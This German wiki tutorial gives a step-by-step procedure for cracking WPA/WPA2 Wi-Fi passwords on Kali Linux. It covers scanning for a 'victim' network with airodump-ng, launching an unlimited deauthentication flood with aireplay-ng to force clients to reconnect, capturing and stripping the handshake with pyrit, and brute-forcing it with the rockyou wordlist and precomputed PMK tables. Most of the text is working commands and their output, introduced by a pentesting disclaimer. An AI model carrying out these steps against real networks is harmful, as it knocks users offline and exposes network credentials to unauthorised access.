WPA und WPA2 knacken mit Aircrack-ng und Pyrit (Brute-Force)

Aus Twilight-Networks Wiki
Wechseln zu:Navigation, Suche

Vorwort

Diese Dokumentation beschreibt das Knacken der WPA/WPA2-Verschlüsselung mittels Rainbow-Table und Brute-Force.

Bitte vergewissern Sie sich, dass Ihr System über die nötigen Voraussetzungen verfügt, wie in der Infobox beschrieben. Weiterhin sind Grundkenntnisse im Umgang mit Linux erforderlich, da die Vorgehensweise, wie sie hier beschrieben ist, in manchen Teilen abweichen kann. Kein System ist wie das Andere. Die Dokumentation wurde sorgfältig von mir geprüft. Dennoch kann ich keinerlei Haftung für Schäden an Ihrem System oder eine Gewährleistung übernehmen. Bitte verwenden Sie diese Dokumentation auf eigene Gefahr.

Diese Dokumentation beschreibt Methoden, mit denen gezielt die Verwundbarkeit eines Netzwerks oder IT-Systems gegenüber Hacking- und Manipulationsversuchen analysiert werden kann.
Ohne die ausdrückliche Zustimmung der zu testenden Organisation und/oder der betroffenen Personen sind diese Methoden illegal und können eine Straftat darstellen.




WPA und WPA2 knacken mit Aircrack-ng und Pyrit (Brute-Force)
Stand: 08/2019



Verwendete Software:


Voraussetzungen:

  • WLAN-Interface mit Monitor-Mode-Unterstützung


Weitere, empfohlene Dokumentationen:











Schritt für Schritt

Die folgende Beschreibung bezieht sich auf Kali Linux. In dieser Distribution sind die benötigten Programme bereits vorinstalliert.

Wichtig ist, dass das verwendete WLAN-Interface den Monitor-Mode unterstützt. Falls eine virtuelle Maschine (VM) eingesetzt wird, sollte diese im Bridge Mode laufen.



Gleich vorneweg möchte ich anmerken, dass eine WPA2-Verschlüsselung praktisch nicht zu knacken ist.
Zum Einen basiert WPA2 auf AES, zum Anderen unterstützt der Preshared-Key eine maximale Schlüssellänge von 63 Zeichen. Auch die Verwendung von Rainbow-Tables wird erheblich erschwert, da der verwendete WLAN-Name (SSID) mit in die Verschlüssellung einfliest.
Einfach ausgedrückt bleibt nichts Anderes übrig, als das WLAN-Passwort (Preshared-Key) zu erraten.

Die Sicherheit von WPA2 hängt also zu grossen Teilen vom verwendeten WLAN-Passwort und vom WLAN-Namen ab.
Genau da sind in vielen WLANs die Schwachstellen zu finden:

  • Das verwendete WLAN-Passwort ist oft nicht sehr komplex und in einschlägigen Passwort- bzw. Wörterlisten zu finden.
  • Der verwendete WLAN-Name entspricht oft dem Namen des Router-Models (z.B. 'FRITZ!Box 7490')



Wir sehen also, dass wir nicht nur mit einer entsprechenden Passwortliste die Wahrscheinlichkeit eines erfolgreichen Angriffs erhöhen können sondern auch für häufig vorkommende SSIDs eigene Rainbow-Tables berechnen können (dazu später mehr).
Ein weiterer Vorteil ergibt sich aus der WPA/WPA2-typischen Verwendung des 4-Way-Handshakes:
Die Brute-Force-Methode muss nicht gegen den anzugreifenden Access-Point durchgeführt werden, sondern es reicht bereits ein einziger Handshake, der während des Verbindungsaufbaus vom Client zum Access-Point abgefangen wird. Die Passwortliste kann anschliessend offline gegen den abgefangenen Handshake abgearbeitet werden. Sobald der Hashwert des Handshakes aufgelöst werden kann, ist das WLAN-Passwort bekannt.

Daraus ergibt sich folgende Reihenfolge:

  • Informationen zum Opfer-Wlan beschaffen
  • Datenverkehr des Opfer-Wlans mitschneiden
  • Erneuten Verbindungsversuch der Wlan-Clients erzwingen
  • Handshake ermitteln und abfangen
  • Brute-Force-Angriff gegen den Handshake durchführen
  • (optional) Eigene Rainbow-Tables berechnen



Root-Rechte einräumen

Während der gesamten Dokumentation werden Root-Rechte benötigt. Um auf das Voranstellen von sudo zu verzichten, verschaffen Sie sich für die gesamte Sitzung erhöhte Rechte mit:

# sudo -i


Opfer-Wlan ermitteln

Starten Sie airodump-ng und geben Sie das zu verwendende WLAN-Interface an:

# airodump-ng wlan0


Airodump-ng scannt jetzt nach verfügbaren WLAN-Devices. Sobald das "Opfer-Wlan" über die ESSID identifiert wurde, wird die BSSID und der verwendete Kanal (CH) notiert. Anschliessend kann airodump-ng wieder beendet werden (Strg + C).

CH  8 ][ Elapsed: 2 mins ][ 1970-01-01 01:00 ]                                        
                                                                                                                           
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                           
01:23:45:67:89:10  -36      338        0    0  11  54e. WPA2 CCMP   PSK  Opfer-Wlan                                       
01:23:45:67:89:11  -36      341        0    0  11  54e. OPN              FritzBox!7490                                  
01:23:45:67:89:12  -38      334      264    0  11  54e. WPA2 CCMP   PSK  FritzBox!7490                                          

BSSID              STATION            PWR    Rate    Lost    Frames  Probe                                                   

01:23:45:67:89:10  01:23:45:67:89:13  -80    0 - 1      0        2                                                          
01:23:45:67:89:10  01:23:45:67:89:14  -76    0 - 1      0        2                                                          
(not associated)   01:23:45:67:89:15  -78    0 - 1      0        1                                                          



Datenverkehr des Opfer-Wlans mitschneiden

Starten Sie airodump-ng mit folgenden Parametern:
(Der Syntax lautet airodump-ng --channel <KANAL> --bssid <BSSID> --write <LOG-DATEI> <INTERFACE>)

# airodump-ng --channel 11 --bssid 01:23:45:67:89:10 --write log-handshake wlan0
CH 11 ][ Elapsed: 5 mins ][ 1970-01-01 01:05 ]                                      
                                                                                                                           
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                           
01:23:45:67:89:10  -36 100    18614     2703    0  11  54e. WPA2 CCMP   PSK  Opfer-Wlan                                      
                                                                                                                           
BSSID              STATION            PWR   Rate    Lost    Frames  Probe


Airodump-ng protokolliert jetzt nur noch die Verbindungen des "Opfer-Access-Points" und wartet auf einen Handshake. Sobald ein gültiger Handshake gefunden wird, erscheint dieser rechts in der obersten Zeile.
Nun haben wir zwei Möglichkeiten. Wir können darauf warten, dass sich ein Client mit dem Access-Point verbindet oder wir zwingen bereits verbundene Clients zu einem erneuten Verbindungsaufbau. Dazu bedienen wir uns einfach dem WiFi-Protokoll (IEEE 802.11), das ein Deauthentication-Frame bereitstellt. Im normalen technischen Ablauf wird dieses Frame von einem Access-Point als sanktionierende Maßnahme dazu verwendet, die Wlan-Verbindung eines Clients zu trennen. Da ein Wlan-Client in der Regel sofort eine Wiedereinwahl versucht, ist diese Methode für unser Szenario genau das Richtige.

Deauthentication-Angriff durchführen

Öffnen Sie ein weiteres Termin-Fenster und starten Sie aireplay-ng mit folgenden Parametern:
(Der Syntax lautet aireplay-ng --deauth <ANZAHL DEAUTH-MESSAGES, 0=UNENDLICH> -a <BSSID> <INTERFACE>)

# aireplay-ng --deauth 0 -a 01:23:45:67:89:10 wlan0
	01:05:00  Waiting for beacon frame (ESSID: Opfer-Wlan) on channel 11
	Found BSSID "01:23:45:67:89:10" to given ESSID "Opfer-Wlan".
	NB: this attack is more effective when targeting
	a connected wireless client (-c <client's mac>).
	01:05:01  Sending DeAuth to broadcast -- BSSID: [01:23:45:67:89:10]
	01:05:01  Sending DeAuth to broadcast -- BSSID: [01:23:45:67:89:10]
	01:05:02  Sending DeAuth to broadcast -- BSSID: [01:23:45:67:89:10]
	01:05:02  Sending DeAuth to broadcast -- BSSID: [01:23:45:67:89:10]
	[...]



Handshake ermitteln und abfangen

Sobald ein gültiger Handshake rechts in der obersten Zeile des aerodump-ng-Fensters erscheint, können beide Terminal-Fenster geschlossen werden.

CH 11 ][ Elapsed: 5 mins ][ 1970-01-01 01:5 ] [ WPA handshake: 01:23:45:67:89:10 ]                                        
                                                                                                                           
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                           
01:23:45:67:89:10  -36 100    18614     2703    0  11  54e. WPA2 CCMP   PSK  Opfer-Wlan                                      
                                                                                                                           
BSSID              STATION            PWR   Rate    Lost    Frames  Probe



Gesammelte Daten auswerten

Wir haben nun alle Daten die für den Angriff auf das Opfer-Wlan benötigt werden und können diese jetzt auswerten. Eine aktive Wlan-Verbindung zum Opfer-Access-Point ist nicht mehr notwendig.
Mit dem Befehl ls -lh können Sie sich die Übersicht der gesammelten Daten ansehen. Interessant ist für uns nur die *.cap-Datei:

# ls -lh

insgesamt 2,6M

	-rw-r--r-- 1 root root 2,6M Jan 01 01:15 log-handshake-01.cap
	-rw-r--r-- 1 root root  667 Jan 01 01:15 log-handshake-01.csv
	-rw-r--r-- 1 root root 4,8K Jan 01 01:15 log-handshake-01.kismet.csv
	-rw-r--r-- 1 root root 3,8K Jan 01 01:15 log-handshake-01.kismet.netxml


Verwenden Sie pyrit um die *.cap-Datei auszuwerten:

# pyrit -r log-handshake-01.cap analyze
	Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
	This code is distributed under the GNU General Public License v3+
	
	Parsing file 'log-handshake-01.cap' (1/1)...
	Parsed 972 packets (972 802.11-packets), got 1 AP(s)
	
	#1: AccessPoint 01:23:45:67:89:10 ('Opfer-Wlan'):
	  #1: Station 01:23:45:67:89:11
	  #2: Station 01:23:45:67:89:12, 1 handshake(s):
	    #1: HMAC_SHA1_AES, good*, spread 1
	  #3: Station 01:23:45:67:89:14


Wir haben also 972 Pakete und 1 Handshake abgefangen. Da für unseren Zweck nur die Handshakes (genau genommen nur ein Einziger) erforderlich sind, reduzieren wir die Datei mit pyrit und der Option strip und entfernen damit alles bis auf die Handshakes.
Dieser Vorgang ist nicht unbedingt erforderlich und macht nur bei sehr grossen *.cap-Dateien Sinn. Eventuell führt man den Brute-Force-Angriff aber auch nicht selbst durch, sondern deligiert diese Aufgabe an einen Dritten (z.B. einen Online-Dienst). Es kann also durchaus Sinn machen, die übrigen Daten aus der Datei zu entfernen.

Reduzieren Sie die Datei log-handshake-01.cap mit folgendem Kommando:

# pyrit -r log-handshake-01.cap -o only-handshake.cap strip
	Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
	This code is distributed under the GNU General Public License v3+
	
	Parsing file 'log-handshake-01.cap' (1/1)...
	Parsed 972 packets (972 802.11-packets), got 1 AP(s)
	
	#1: AccessPoint 01:23:45:67:89:10 ('Opfer-Wlan'):
	  #1: Station 01:23:45:67:89:11
	  #2: Station 01:23:45:67:89:12, 1 handshake(s):
	    #1: HMAC_SHA1_AES, good*, spread 1
	  #3: Station 01:23:45:67:89:14

	New pcap-file 'only-handshake.cap' written (8 out of 972 packets)


Wenn Sie nun beide Dateien vergleichen, wird die Ersparnis deutlich:

# ls -lh *.cap
	-rw-r--r-- 1 root root 2,6M Jan 01 01:15 log-handshake-01.cap
	-rw-r--r-- 1 root root 2,3K Jan 01 01:15 only-handshake.cap



Brute-Force-Angriff durchführen (Passwortliste)

Ein Brute-Force-Angriff auf WPA/WPA2 benötigt viel Rechenleistung, da die PSKs (Preshared-Keys) aus der Passwortliste nicht einfach nur ausprobiert werden.

Der Angriff läuft wie folgt ab:
Zunächst wird aus der Kombination von ESSID (Wlan-Name) und einem Eintrag aus der Passwortliste der PMK (Pairwise Master Key), der PTK (Pairwise Transient Key) und der KEK (Key Encryption Key) errechnet.
Aus diesen errechneten Werten wird anschliessend der MIC (Message Integrity Check) ausgerechnet und mit dem des abgefangenen Handshakes verglichen.
Sobald ein berechneter MIC mit dem des Handshakes übereinstimmt, ist der PSK (Preshared-Key) gefunden.

Dieser Vorgang muss für jeden Eintrag in der Passwortliste wiederholt werden. Es ist also nicht in erster Linie das "Ausprobieren" selbst, das (Prozessor-)Zeit beansprucht, sondern die dem "Ausprobieren" zugrunde liegenden Berechnungen. Diese müssen nämlich für jeden Versuch erneut durchgeführt werden.

Bei der Verwendung vorberechneter Hashwert-Tabellen (Rainbow-Tables) liegt der MIC bereits vor und muss nur noch mit dem des Handshakes verglichen werden. Dieser Vorgang nimmt im Vergleich nur einen winzigen Bruchteil der (Prozessor-)Zeit in Anspruch und kann auch auf einem schwächeren System (z.B. Notebook) durchgeführt werden. Allerdings lohnt sich diese Methode nur für den Angriff unterschiedlicher Wlans mit gleicher ESSID oder zur Vorbereitung eines Pentests, da die Hashwert-Tabelle natürlich auch erstmal berechnet werden muss.

Beschleunigung des Angriffs:
Es wird deutlich, dass Berechnungen dieser Art nicht effizient mit einer Desktop-CPU (z.B. Intel Core i5) durchzuführen sind. Eine Desktop-CPU ist für die Verarbeitung serieller Rechenoperationen ausgelegt. Bei serieller Verarbeitung kann eine weitere Rechenoperation erst gestartet werden, nachdem die Vorherige abgeschlossen ist. Zwar haben heutige Desktop-CPUs mehrere Kerne (z.B. 4 Kerne bei einem Intel Core i5) und können damit auch parallel ablaufendene Rechenoperationen durchführen, aber, um beim Intel Core i5 zu bleiben, eben nur 4 (Hyper-Threading ausgeschlossen).
Im Gegensatz zur Desktop-CPU ist der Prozessor einer Grafikkarte (GPU) voll auf Parallelverarbeitung ausgelegt, da bei grafischen Anwendungen, wie z.B. Computerspielen, unzählige Rechenoperationen gleichzeitig durchgeführt werden müssen um eine flüssige Darstellung zu gewährleisten. Eine 'GeForce GTX 1080' hat 2560 Kerne und macht damit die Überlegenheit zur Desktop-CPU mehr als deutlich.

Da wir für unsere Zwecke möglichst viele Berechnungen gleichzeitig durchführen möchten, sollten diese in einer GPU durchgeführt werden. Das ist z.B. über die, von Nvidia entwickelte, CUDA-Schnittstelle möglich.

Das Brute-Force-Programm Pyrit, das wir in dieser Dokumenation verwenden, bringt die GPU-Unterstützung bereits mit.
Informationen zu benötigten Treibern und Einstellungen finden Sie in der Pyrit-Wiki.



In unserem Beispiel verwenden wir die Passwortliste Rockyou. Diese Passwortliste finden Sie in Kali Linux unter /usr/share/wordlists/rockyou.txt.gz. Pyrit kann auch gepackte Dateien verarbeiten, daher muss die Passwortliste nicht zwingend entpackt werden.

Verwenden Sie folgendes Kommando, um die Passwortliste auf die Handshake-Datei anzuwenden:
(Das vorangestellte Kommando time bewirkt, dass die Dauer der Suche ausgegeben wird. Nicht zwingend erforderlich):

# time pyrit -r only-handshake.cap -i /usr/share/wordlists/rockyou.txt.gz attack_passthrough
	Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg - 2015 John Mora
	https://github.com/JPaulMora/Pyrit
	This code is distributed under the GNU General Public License v3+
	
	Parsing file 'only-handshake.cap' (1/1)...
	Parsed 8 packets (8 802.11-packets), got 1 AP(s)
	
	Picked AccessPoint 01:23:45:67:89:10 ('Opfer-Wlan') automatically.
	Tried 940047 PMKs so far; 2249 PMKs per second. gigglepot3niao
	
	The password is 'haniball'.
	
	
	real    8m30,036s
	user    10m25,245s
	sys     0m1,622s


Wir haben das Wlan-Passwort nach 8 Minuen und 30 Sekunden gefunden und dabei 940047 PMKs ausprobiert. Ich habe dafür ein Notebook mit einem 'Intel Core i5 verwendet' (daher auch nur 2249 PMKs/Sekunde). Das Wlan-Passwort war mit Absicht sehr einfach gewählt.

Eigene Rainbow-Tables erstellen

Wie eingangs bereits erwähnt, ist der Wlan-Name (ESSID) ein Teil des WPA/WPA2-Verschlüsselungs-Algorithmus. Es lohnt sich also, für oft verwendete Wlan-Namen (z.B. 'Fritz!Box 7490') eigene Rainbow-Tables zu berechnen.
Auch für einen Pentest ist die Vorberechnung der Hashwert-Tabelle sinnvoll, da dadurch vor Ort Zeit gespart werden kann. Einfach beim ersten Kundenkontakt die ESSID mit dem Smartphone ermitteln ;-).

Datenbank erstellen

Im ersten Schritt erstellen wir eine Passwort-Datenbank für Pyrit. In diesem Beispiel verwenden wir wieder die in Kali Linux enthaltene Rockyou-Passwortliste und ein dateibasiertes Backend (Pyrit kann auch SQL-Backends verwalten):

# pyrit -i /usr/share/wordlists/rockyou.txt.gz import_passwords
	Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg - 2015 John Mora
	https://github.com/JPaulMora/Pyrit
	This code is distributed under the GNU General Public License v3+
	
	Connecting to storage at 'file://'...  connected.
	14344369 lines read. Flushing buffers..... . 
	All done.



ESSID hinzufügen

Nun befinden sich über 14 Mio. Passwörter in der Pyrit-Datenbank. Auf die gleiche Weise können weitere Wörterlisten hinzugefügt werden. Pyrit erkennt doppelte Einträge und überspringt diese automatisch.
Als nächsten Schritt wird die gewünschte ESSID (oder Mehrere) hinzugefügt:

# pyrit -e 'Opfer-Wlan' create_essid
	Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
	https://github.com/JPaulMora/Pyrit
	This code is distributed under the GNU General Public License v3+
	
	Connecting to storage at 'file://'...  connected.
	Created ESSID 'Opfer-Wlan'



Rainbow-Tables erstellen

Aus diesen Daten kann nun die Hashwert-Tabelle generiert werden.
Dieser Vorgang kann, je nach Grösse der Datenbank, eine ganze Weile dauern. Für unser Bespiel habe ich wieder das Kommando time vorangestellt:

# time pyrit batch
	Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg - 2015 John Mora
	https://github.com/JPaulMora/Pyrit
	This code is distributed under the GNU General Public License v3+
	
	Connecting to storage at 'file://'...  connected.
	Working on ESSID 'Opfer-Wlan'
	Processed all workunits for ESSID 'Opfer-Wlan'; 3224 PMKs per second..                                                  
	
	Batchprocessing done.
	
	real    85m40,134s
	user    337m1,874s
	sys     0m14,380s


Wir sehen, dass die Erstellung der Hashwert-Tabelle wesentlich mehr Zeit beansprucht hat als der direkte Brute-Force-Angriff mit der einfachen Passwort-Liste. Das liegt allerdings auch daran, dass das von uns entdeckte Wlan-Passwort bereits sehr früh in der Passwort-Liste zu finden war und dadurch von 14 Mio. Wörtern lediglich knapp 1 Mio. ausprobiert werden mussten. Die Berechnung der Hashwert-Tabelle basiert aber auf der gesamten Passwort-Liste.

Brute-Force-Angriff durchführen (Rainbow-Table)

Wir führen nun den Brute-Force-Angriff erneut durch. Diesmal verwenden wir die vorberechnete Hashwert-Tabelle:
(Auch hier verwende ich das Kommando time, um die benötigte Zeit zu messen.)

# time pyrit -r only-handshake.cap attack_db
	Pyrit 0.5.0 (C) 2008-2011 Lukas Lueg - 2015 John Mora
	https://github.com/JPaulMora/Pyrit
	This code is distributed under the GNU General Public License v3+
	
	Connecting to storage at 'file://'...  connected.
	Parsing file 'only-handshake.cap' (1/1)...
	Parsed 8 packets (8 802.11-packets), got 1 AP(s)
	
	Picked AccessPoint 01:23:45:67:89:10 ('Opfer-Wlan') automatically.
	Attacking handshake with Station 01:23:45:67:89:15...
	Tried 3148651 PMKs so far (32.8%); 3075959 PMKs per second..
	
	The password is 'haniball'.
	
	
	real    0m1,771s
	user    0m5,312s
	sys     0m0,121s


Die Zeitersparnis unter Verwendung einer vorberechneten Hashwert-Tabelle ist wirklich enorm. Für die gleiche Aufgabe, die im ersten Schritt noch 8 Minuten und 30 Sekunden gedauert hat, haben wir jetzt nur knapp 2 Sekunden benötigt.
Das Beispiel macht deutlich, wie sinnvoll die Verwendung von Rainbow-Tables sein kann. Sei es für häufig vorkommende Wlan-Namen oder für die Verwendung auf einem langsamen Notebook.